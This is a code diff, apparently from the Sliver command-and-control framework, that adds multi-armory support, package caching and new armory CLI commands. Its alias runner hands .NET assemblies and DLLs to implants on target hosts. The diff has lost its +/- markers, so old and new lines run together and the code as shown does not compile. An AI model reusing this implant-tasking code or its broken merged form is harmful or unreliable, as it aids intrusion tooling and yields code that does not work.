data, err := os.ReadFile(armoryConfigPath)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
var armoryConfigs []*ArmoryConfig
err = json.Unmarshal(data, &armoryConfigs)
if err != nil {
return []*ArmoryConfig{defaultArmoryConfig}
}
for _, armoryConfig := range armoryConfigs {
func RefreshArmoryAuthorization(armories []*ArmoryConfig) {
for _, armoryConfig := range armories {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
return append(armoryConfigs, defaultArmoryConfig)
}
// GetArmoriesConfig - The parsed armory config file
func GetArmoriesConfig() []*ArmoryConfig {
armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
return []*ArmoryConfig{DefaultArmoryConfig}
}
data, err := os.ReadFile(armoryConfigPath)
if err != nil {
return []*ArmoryConfig{DefaultArmoryConfig}
}
var armoryConfigsFromFile []*ArmoryConfig
var armoryConfigs []*ArmoryConfig
err = json.Unmarshal(data, &armoryConfigsFromFile)
if err != nil {
return []*ArmoryConfig{DefaultArmoryConfig}
}
// Force the default armory to be the last
defaultArmorySpecified := false
for _, config := range armoryConfigsFromFile {
if config.Name == DefaultArmoryName {
defaultArmorySpecified = true
continue
} else {
armoryConfigs = append(armoryConfigs, config)
}
}
if defaultArmorySpecified {
armoryConfigs = append(armoryConfigs, DefaultArmoryConfig)
}
RefreshArmoryAuthorization(armoryConfigs)
return armoryConfigs
}
func SaveArmoriesConfig(armories []*ArmoryConfig) error {
configData, err := json.Marshal(armories)
if err != nil {
return err
}
armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
err = os.WriteFile(armoryConfigPath, configData, 0640)
if err != nil {
return err
}
return nil
}
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
+13 -7
View File
@@ -36,11 +36,11 @@ func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []str
aliasLocalPath := args[0]
fi, err := os.Stat(aliasLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
con.PrintErrorf("Alias path '%s' does not exist", aliasLocalPath)
return
}
if !fi.IsDir() {
InstallFromFile(aliasLocalPath, false, con)
InstallFromFile(aliasLocalPath, "", false, con)
} else {
installFromDir(aliasLocalPath, con)
}
@@ -100,7 +100,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverClient) {
}
// Install an extension from a .tar.gz file.
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverClient) *string {
func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite bool, con *console.SliverClient) *string {
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
@@ -108,12 +108,18 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
}
manifest, err := ParseAliasManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
errorMsg := ""
if aliasName != "" {
errorMsg = fmt.Sprintf("Error processing manifest for alias %s - failed to parse %s: %s\n", aliasName, ManifestFileName, err)
} else {
errorMsg = fmt.Sprintf("Failed to parse %s: %s\n", ManifestFileName, err)
}
con.PrintErrorf(errorMsg)
return nil
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
if promptToOverwrite {
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
@@ -139,7 +145,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
}
for _, aliasFile := range manifest.Files {
if aliasFile.Path != "" {
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path)
if err != nil {
con.PrintErrorf("Failed to install file: %s\n", err)
forceRemoveAll(installPath)
@@ -151,7 +157,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
return &installPath
}
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverClient) error {
func installArtifact(aliasGzFilePath string, installPath, artifactPath string) error {
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator))))
if err != nil {
return err
+14 -12
View File
@@ -92,7 +92,9 @@ type AliasManifest struct {
IsReflective bool `json:"is_reflective"`
IsAssembly bool `json:"is_assembly"`
RootPath string `json:"-"`
RootPath string `json:"-"`
ArmoryName string `json:"-"`
ArmoryPK string `json:"-"`
}
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
@@ -267,20 +269,20 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
return
}
// args := ctx.Args.StringList("arguments")
var extArgs string
var extArgsStr string
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
extArgs = aliasManifest.DefaultArgs
extArgsStr = aliasManifest.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
extArgsStr = strings.Join(args, " ")
}
extArgs = strings.TrimSpace(extArgs)
extArgsStr = strings.TrimSpace(extArgsStr)
entryPoint := aliasManifest.Entrypoint
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
// The Donut loader has a hard limit of 256 characters for the command line arguments, so
// we're alerting the user that the arguments will be truncated.
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
if len(extArgsStr) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
msgStr := ""
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
@@ -352,13 +354,13 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
// Execute Assembly
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(cmd),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Arguments: args,
Assembly: binData,
Arch: arch,
Method: method,
@@ -398,11 +400,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
// Spawn DLL
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveTarget.Request(cmd),
Args: strings.Trim(extArgs, " "),
Args: args,
Data: binData,
ProcessName: processName,
EntryPoint: aliasManifest.Entrypoint,
@@ -437,11 +439,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
// Sideload
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveTarget.Request(cmd),
Args: extArgs,
Args: args,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
+363 -73
View File
@@ -23,6 +23,7 @@ import (
"errors"
"fmt"
"net/url"
"slices"
"sync"
"time"
@@ -54,13 +55,24 @@ type ArmoryPackage struct {
RepoURL string `json:"repo_url"`
PublicKey string `json:"public_key"`
IsAlias bool `json:"-"`
IsAlias bool `json:"-"`
ArmoryName string `json:"-"`
/*
With support for multiple armories, the command name of a package
is not unique anymore, so we need something that is unique
to be able to keep track of packages.
This ID will be a hash calculated from properties of the package.
*/
ID string `json:"-"`
ArmoryPK string `json:"-"`
}
// ArmoryBundle - A list of packages
type ArmoryBundle struct {
Name string `json:"name"`
Packages []string `json:"packages"`
Name string `json:"name"`
Packages []string `json:"packages"`
ArmoryName string `json:"-"`
}
// ArmoryHTTPConfig - Configuration for armory HTTP client
@@ -89,48 +101,75 @@ type pkgCacheEntry struct {
Alias *alias.AliasManifest
Extension *extensions.ExtensionManifest
LastErr error
// This corresponds to Pkg.ID
ID string
}
var (
// public key -> armoryCacheEntry
indexCache = sync.Map{}
// public key -> armoryPkgCacheEntry
// package ID -> armoryPkgCacheEntry
pkgCache = sync.Map{}
// public key -> assets.ArmoryConfig
currentArmories = sync.Map{}
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
//cacheTime = time.Hour
cacheTime = 2 * time.Minute
// This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
// Track whether armories have been initialized so that we know if we need to pull from the config
armoriesInitialized = false
// Track whether the default armory has been removed by the user (this is needed to prevent it from being readded in if they have removed it)
defaultArmoryRemoved = false
)
// ArmoryCmd - The main armory command
func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
armoriesConfig := assets.GetArmoriesConfig()
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
armoriesConfig := getCurrentArmoryConfiguration()
if len(armoriesConfig) == 1 {
con.Printf("Reading armory index ... ")
} else {
con.PrintInfof("Reading %d armory indexes ... ", len(armoriesConfig))
}
clientConfig := parseArmoryHTTPConfig(cmd)
indexes := fetchIndexes(armoriesConfig, clientConfig)
indexes := fetchIndexes(clientConfig)
if len(indexes) != len(armoriesConfig) {
con.Printf("errors!\n")
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr != nil {
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
con.PrintErrorf("%s (%s) - %s\n", cacheEntry.ArmoryConfig.Name, cacheEntry.RepoURL, cacheEntry.LastErr)
}
return true
})
} else {
con.Printf("done!\n")
}
armoriesInitialized = true
if len(indexes) == 0 {
con.PrintInfof("No indexes found\n")
return
}
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
if 0 < len(indexes) {
con.PrintInfof("Fetching package information ... ")
fetchPackageSignatures(indexes, clientConfig)
for _, index := range indexes {
errorCount := 0
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
con.PrintInfof("Reading package information for armory %s ... ", index.ArmoryConfig.Name)
fetchPackageSignatures(index, clientConfig)
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Something is wrong with this entry
pkgCache.Delete(value)
return true
}
if cacheEntry.ArmoryConfig.PublicKey != index.ArmoryConfig.PublicKey {
return true
}
if cacheEntry.LastErr != nil {
errorCount++
if errorCount == 0 {
@@ -149,32 +188,52 @@ func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if errorCount == 0 {
con.Printf("done!\n")
}
if 0 < len(aliases) || 0 < len(exts) {
con.Println()
PrintArmoryPackages(aliases, exts, con)
} else {
con.PrintInfof("No packages found\n")
}
}
if 0 < len(aliases) || 0 < len(exts) {
con.Println()
bundles := bundlesInCache()
if 0 < len(bundles) {
PrintArmoryBundles(bundles, con)
} else {
con.PrintInfof("No bundles found\n")
}
PrintArmoryPackages(aliases, exts, con)
} else {
con.PrintInfof("No indexes found\n")
con.PrintInfof("No packages found\n")
}
con.Println()
bundles := bundlesInCache()
if 0 < len(bundles) {
PrintArmoryBundles(bundles, con)
} else {
con.PrintInfof("No bundles found\n")
}
}
func refresh(clientConfig ArmoryHTTPConfig) {
armoriesConfig := assets.GetArmoriesConfig()
indexes := fetchIndexes(armoriesConfig, clientConfig)
fetchPackageSignatures(indexes, clientConfig)
getCurrentArmoryConfiguration()
indexes := fetchIndexes(clientConfig)
for _, index := range indexes {
fetchPackageSignatures(index, clientConfig)
}
}
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
func countUniqueCommandsFromManifests(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest) (int, int) {
uniqueAliasNames := []string{}
uniqueExtensionNames := []string{}
for _, alias := range aliases {
if !slices.Contains(uniqueAliasNames, alias.CommandName) {
uniqueAliasNames = append(uniqueAliasNames, alias.CommandName)
}
}
for _, ext := range exts {
for _, cmd := range ext.ExtCommand {
if !slices.Contains(uniqueExtensionNames, cmd.CommandName) {
uniqueExtensionNames = append(uniqueExtensionNames, cmd.CommandName)
}
}
}
return len(uniqueAliasNames), len(uniqueExtensionNames)
}
func packageManifestsInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
aliases := []*alias.AliasManifest{}
exts := []*extensions.ExtensionManifest{}
pkgCache.Range(func(key, value interface{}) bool {
@@ -191,6 +250,125 @@ func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest)
return aliases, exts
}
func armoryLookupByName(name string) *assets.ArmoryConfig {
var result *assets.ArmoryConfig
indexCache.Range(func(key, value interface{}) bool {
indexEntry, ok := value.(indexCacheEntry)
if !ok {
// Keep going
return true
}
if indexEntry.ArmoryConfig.Name == name {
result = indexEntry.ArmoryConfig
return false
}
return true
})
return result
}
// Returns the packages in the cache with a given name
func packageCacheLookupByName(name string) []*pkgCacheEntry {
var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Keep going
return true
}
if cacheEntry.Pkg.Name == name {
result = append(result, &cacheEntry)
}
return true
})
return result
}
// Returns the packages in the cache for a given command name
func packageCacheLookupByCmd(commandName string) []*pkgCacheEntry {
var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Keep going
return true
}
if cacheEntry.Pkg.CommandName == commandName {
result = append(result, &cacheEntry)
}
return true
})
return result
}
// Returns the package in the cache for a given command name and armory
func packageCacheLookupByCmdAndArmory(commandName string, armoryPublicKey string) *pkgCacheEntry {
var result *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Keep going
return true
}
if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey && cacheEntry.Pkg.CommandName == commandName {
result = &cacheEntry
// Stop iterating
return false
}
return true
})
return result
}
// Returns the package hashes in the cache for a given armory
func packageHashLookupByArmory(armoryPublicKey string) []string {
result := []string{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Keep going
return true
}
if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey {
result = append(result, cacheEntry.ID)
}
return true
})
return result
}
func packageCacheLookupByID(packageID string) *pkgCacheEntry {
var packageEntry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry)
if !ok {
// Keep going
return true
}
if cacheEntry.LastErr == nil {
if cacheEntry.ID == packageID {
packageEntry = &cacheEntry
// Stop iterating
return false
}
}
return true
})
return packageEntry
}
func bundlesInCache() []*ArmoryBundle {
bundles := []*ArmoryBundle{}
indexCache.Range(func(key, value interface{}) bool {
@@ -207,7 +385,7 @@ func AliasExtensionOrBundleCompleter() carapace.Action {
var action carapace.Action
results := []string{}
aliases, exts := packagesInCache()
aliases, exts := packageManifestsInCache()
bundles := bundlesInCache()
for _, aliasPkg := range aliases {
@@ -256,6 +434,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
if con.Settings.SmallTermWidth+urlMargin < width {
tw.AppendHeader(table.Row{
"Armory",
"Command Name",
"Version",
"Type",
@@ -264,6 +443,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
})
} else {
tw.AppendHeader(table.Row{
"Armory",
"Command Name",
"Version",
"Type",
@@ -273,10 +453,11 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
// Columns start at 1 for some dumb reason
tw.SortBy([]table.SortBy{
{Number: 1, Mode: table.Asc},
{Number: 2, Mode: table.Asc},
})
type pkgInfo struct {
ArmoryName string
CommandName string
Version string
Type string
@@ -284,8 +465,10 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
URL string
}
entries := []pkgInfo{}
for _, aliasPkg := range aliases {
entries = append(entries, pkgInfo{
ArmoryName: aliasPkg.ArmoryName,
CommandName: aliasPkg.CommandName,
Version: aliasPkg.Version,
Type: "Alias",
@@ -296,6 +479,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
for _, extm := range exts {
for _, extension := range extm.ExtCommand {
entries = append(entries, pkgInfo{
ArmoryName: extm.ArmoryName,
CommandName: extension.CommandName,
Version: extension.Manifest.Version,
Type: "Extension",
@@ -315,6 +499,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
}
if con.Settings.SmallTermWidth+urlMargin < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
@@ -323,6 +508,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
})
} else {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
@@ -340,6 +526,7 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
tw.AppendHeader(table.Row{
"Armory Name",
"Name",
"Contains",
})
@@ -365,6 +552,7 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
}
}
tw.AppendRow(table.Row{
bundle.ArmoryName,
bundle.Name,
packages,
})
@@ -402,12 +590,19 @@ func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
// fetch armory indexes, only returns indexes that were fetched successfully
// errors are still in the cache objects however and can be checked
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
func fetchIndexes(clientConfig ArmoryHTTPConfig) []ArmoryIndex {
wg := &sync.WaitGroup{}
for _, armoryConfig := range armoryConfigs {
wg.Add(1)
go fetchIndex(armoryConfig, clientConfig, wg)
}
// Try to get a max of 10 indexes at a time
currentRequests := make(chan struct{}, 10)
currentArmories.Range(func(key, value interface{}) bool {
armoryEntry := value.(assets.ArmoryConfig)
if armoryEntry.Enabled {
wg.Add(1)
currentRequests <- struct{}{}
go fetchIndex(&armoryEntry, currentRequests, clientConfig, wg)
}
return true
})
wg.Wait()
indexes := []ArmoryIndex{}
indexCache.Range(func(key, value interface{}) bool {
@@ -420,13 +615,19 @@ func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPC
return indexes
}
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
func fetchIndex(armoryConfig *assets.ArmoryConfig, requestChannel chan struct{}, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
defer wg.Done()
defer func() {
<-requestChannel
}()
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
if ok {
cached := cacheEntry.(indexCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
} else if time.Since(cached.Fetched) >= cacheTime {
// If an index has gone stale, remove it from the index cache
indexCache.Delete(armoryConfig.PublicKey)
}
}
@@ -463,40 +664,95 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
}
}
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
wg := &sync.WaitGroup{}
for _, index := range indexes {
for _, armoryPkg := range index.Extensions {
wg.Add(1)
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
}
func calculateHashesForIndex(index ArmoryIndex) []string {
result := []string{}
for _, pkg := range index.Aliases {
result = append(result, calculatePackageHash(pkg))
}
wg.Wait()
for _, pkg := range index.Extensions {
result = append(result, calculatePackageHash(pkg))
}
return result
}
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
func makePackageCacheConsistent(index ArmoryIndex) {
packagesToRemove := []string{}
// Get the packages for the armory out of the cache
cacheHashesForArmory := packageHashLookupByArmory(index.ArmoryConfig.PublicKey)
indexHashesForArmory := calculateHashesForIndex(index)
if len(cacheHashesForArmory) > len(indexHashesForArmory) {
// Then there are packages in the cache that do not exist in the armory
if len(indexHashesForArmory) == 0 {
packagesToRemove = cacheHashesForArmory
} else {
for _, packageHash := range indexHashesForArmory {
if !slices.Contains(cacheHashesForArmory, packageHash) {
packagesToRemove = append(packagesToRemove, packageHash)
}
}
}
}
// The remaining case of there being packages in the armory that do not exist in the cache
// will have to be solved with fetchPackageSignatures, and that function calls this one
// after fetching signatures and storing them in the cache, so that case should not apply
for _, packageHash := range packagesToRemove {
pkgCache.Delete(packageHash)
}
}
func fetchPackageSignatures(index ArmoryIndex, clientConfig ArmoryHTTPConfig) {
wg := &sync.WaitGroup{}
// Be kind to armories and limit concurrent requests to 10
// This is an arbritrary number and we may have to tweak it if it causes problems
currentRequests := make(chan struct{}, 10)
for _, armoryPkg := range index.Extensions {
wg.Add(1)
currentRequests <- struct{}{}
armoryPkg.IsAlias = false
go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
}
for _, armoryPkg := range index.Aliases {
wg.Add(1)
currentRequests <- struct{}{}
armoryPkg.IsAlias = true
go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
}
wg.Wait()
// If packages were deleted from the index, make sure the cache is consistent
makePackageCacheConsistent(index)
}
func fetchPackageSignature(wg *sync.WaitGroup, requestChannel chan struct{}, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
defer wg.Done()
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
defer func() {
<-requestChannel
}()
cacheEntry, ok := pkgCache.Load(armoryPkg.ID)
if ok {
cached := cacheEntry.(pkgCacheEntry)
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
return
} else if time.Since(cached.Fetched) >= cacheTime {
// If a package has gone stale, remove it from the package cache
pkgCache.Delete(armoryPkg.ID)
}
}
pkgCacheEntry := &pkgCacheEntry{
ArmoryConfig: armoryConfig,
RepoURL: armoryPkg.RepoURL,
ID: armoryPkg.ID,
}
defer func() {
pkgCacheEntry.Fetched = time.Now()
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
pkgCache.Store(armoryPkg.ID, *pkgCacheEntry)
}()
repoURL, err := url.Parse(armoryPkg.RepoURL)
@@ -528,19 +784,53 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
if armoryPkg != nil {
pkgCacheEntry.Pkg = *armoryPkg
}
if err == nil {
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
return
}
if armoryPkg.IsAlias {
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
} else {
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
}
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
return
}
if armoryPkg.IsAlias {
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
pkgCacheEntry.Alias.ArmoryName = armoryConfig.Name
pkgCacheEntry.Alias.ArmoryPK = armoryConfig.PublicKey
} else {
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
pkgCacheEntry.Extension.ArmoryName = armoryConfig.Name
pkgCacheEntry.Extension.ArmoryPK = armoryConfig.PublicKey
}
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
}
}
func clearAllCaches() {
currentArmories.Range(func(key, value any) bool {
currentArmories.Delete(key)
return true
})
indexCache.Range(func(key, value any) bool {
indexCache.Delete(key)
return true
})
pkgCache.Range(func(key, value any) bool {
pkgCache.Delete(key)
return true
})
}
func getArmoryPublicKey(armoryName string) string {
// Find PK for the armory name
armoryPK := ""
currentArmories.Range(func(key, value any) bool {
armoryEntry := value.(assets.ArmoryConfig)
if armoryEntry.Name == armoryName {
armoryPK = armoryEntry.PublicKey
return false
}
return true
})
return armoryPK
}
+139 -1
View File
@@ -42,6 +42,10 @@ func Commands(con *console.SliverClient) []*cobra.Command {
ArmoryInstallCmd(cmd, con, args)
},
}
flags.Bind("", false, armoryInstallCmd, func(f *pflag.FlagSet) {
f.BoolP("force", "f", false, "force installation of package, overwriting the package if it exists")
f.StringP("armory", "a", "", "name of armory to install package from")
})
armoryCmd.AddCommand(armoryInstallCmd)
flags.NewCompletions(armoryInstallCmd).PositionalCompletion(
AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install"),
@@ -49,12 +53,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
armoryUpdateCmd := &cobra.Command{
Use: consts.UpdateStr,
Short: "Update installed an aliases and extensions",
Short: "Update installed aliases and extensions",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}),
Run: func(cmd *cobra.Command, args []string) {
ArmoryUpdateCmd(cmd, con, args)
},
}
flags.Bind("", false, armoryUpdateCmd, func(f *pflag.FlagSet) {
f.StringP("armory", "a", "", "name of armory to get updates from")
})
armoryCmd.AddCommand(armoryUpdateCmd)
armorySearchCmd := &cobra.Command{
@@ -69,5 +76,136 @@ func Commands(con *console.SliverClient) []*cobra.Command {
armoryCmd.AddCommand(armorySearchCmd)
flags.NewCompletions(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression"))
armoryInfoCmd := &cobra.Command{
Use: consts.InfoStr,
Short: "View configured armories or details about a specific armory or package",
Args: cobra.RangeArgs(0, 1),
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InfoStr}),
Run: func(cmd *cobra.Command, args []string) {
ArmoryInfoCommand(cmd, con, args)
},
}
armoryCmd.AddCommand(armoryInfoCmd)
carapace.Gen(armoryInfoCmd).PositionalCompletion(
carapace.ActionValues().Usage("armory or package name"),
)
armoryAddCmd := &cobra.Command{
Use: consts.AddStr,
Short: "Add a new armory",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.AddStr}),
Args: cobra.ExactArgs(1), // the name of the armory
Run: func(cmd *cobra.Command, args []string) {
AddArmoryCmd(cmd, con, args)
},
}
flags.Bind("", false, armoryAddCmd, func(f *pflag.FlagSet) {
f.StringP("url", "u", "", "The URL of the armory index (required)")
f.StringP("pubkey", "k", "", "The public key for the armory (required)")
f.StringP("auth", "a", "", "Authorization details / credentials for the armory")
f.StringP("authcmd", "x", "", "Local command to run for authorization to the armory")
f.BoolP("no-save", "e", false, "Do not save this armory configuration to disk")
})
armoryAddCmd.MarkFlagRequired("url")
armoryAddCmd.MarkFlagRequired("pubkey")
carapace.Gen(armoryAddCmd).PositionalCompletion(
carapace.ActionValues().Usage("name of the armory"),
)
armoryCmd.AddCommand(armoryAddCmd)
armoryRemoveCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove an armory",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.RmStr}),
Args: cobra.ExactArgs(1), // the name of the armory
Run: func(cmd *cobra.Command, args []string) {
RemoveArmoryCmd(cmd, con, args)
},
}
carapace.Gen(armoryAddCmd).PositionalCompletion(
carapace.ActionValues().Usage("name of the armory"),
)
armoryCmd.AddCommand(armoryRemoveCmd)
armorySaveCmd := &cobra.Command{
Use: consts.SaveStr,
Short: "Save the armory configuration to disk",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SaveStr}),
Run: func(cmd *cobra.Command, args []string) {
SaveArmories(con)
},
}
armoryCmd.AddCommand(armorySaveCmd)
armoryEnableCmd := &cobra.Command{
Use: consts.EnableStr,
Short: "Enable an armory",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.EnableStr}),
Args: cobra.ExactArgs(1), // The name of the armory
Run: func(cmd *cobra.Command, args []string) {
ChangeArmoryEnabledState(cmd, con, args, true)
},
}
carapace.Gen(armoryEnableCmd).PositionalCompletion(
